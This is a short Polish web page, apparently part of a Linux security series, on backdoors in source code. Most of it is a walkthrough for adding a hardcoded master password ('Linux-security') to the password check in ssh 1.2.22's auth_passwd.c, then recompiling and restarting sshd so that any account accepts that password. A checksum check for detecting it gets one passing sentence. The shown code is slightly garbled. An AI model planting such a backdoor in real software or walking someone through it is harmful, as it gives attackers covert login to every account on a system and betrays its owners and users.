![]() |
Bezpieczeństwo systemów Linux'owych |
Linux Security - Backdoor'y
|
|
![]() |
[1] [2] |
![]() |
Konie trojańskie czasami instalowane są przez włamywaczy w kodach źródłowych aplikacji używanych przez wszystkich użytkowników systemu.
Instalacja takiego backdoor'a polega tylko na zmianie kilku linijek
kodu i ponownej kompilacji. Trojan taki jest nie do wykrycia, chyba że
administrator sprawdza sobie sumy kontrolne tejże aplikacji.
Instalacja trojana w naszym przypadku odbywa się na przykładzie pakietu ssh 1.2.22. Instrukcje odpowiedzialne za proces autoryzacji hasła są w pliku auth_passwd.c. Funkcja auth_password zwraca wartość 0, jeśli autoryzacja się nie udała a inne, w przypadku sukcesu. Wystarczy dopisać tylko dwie linijki kodu aby przy każdej autoryzacji można było podać nasze dodatkowe hasło. |
[root@localhost] tail -n 8 auth_passwd.c #endif /* HAVE_SCO_ETC_SHADOW */ #endif /* HAVE_OSF1_C2_SECURITY */ if (strcmp(password,"Linux-security")==0 ???? { return 1; } /* Authentication is accepted if the encrypted passwords are identical. */ return strcmp(encrypted_password, correct_passwd) == 0; } |
Należy tylko dopisać do kodu źródłowego linijki zaznaczone na czerwono.
Następnie wydajemy polecenia: make make install killall -9 sshd /usr/local/sbin/sshd Teraz możemy się zalogować na każde konto, wystarczy tylko jako hasło podać Linux-security. |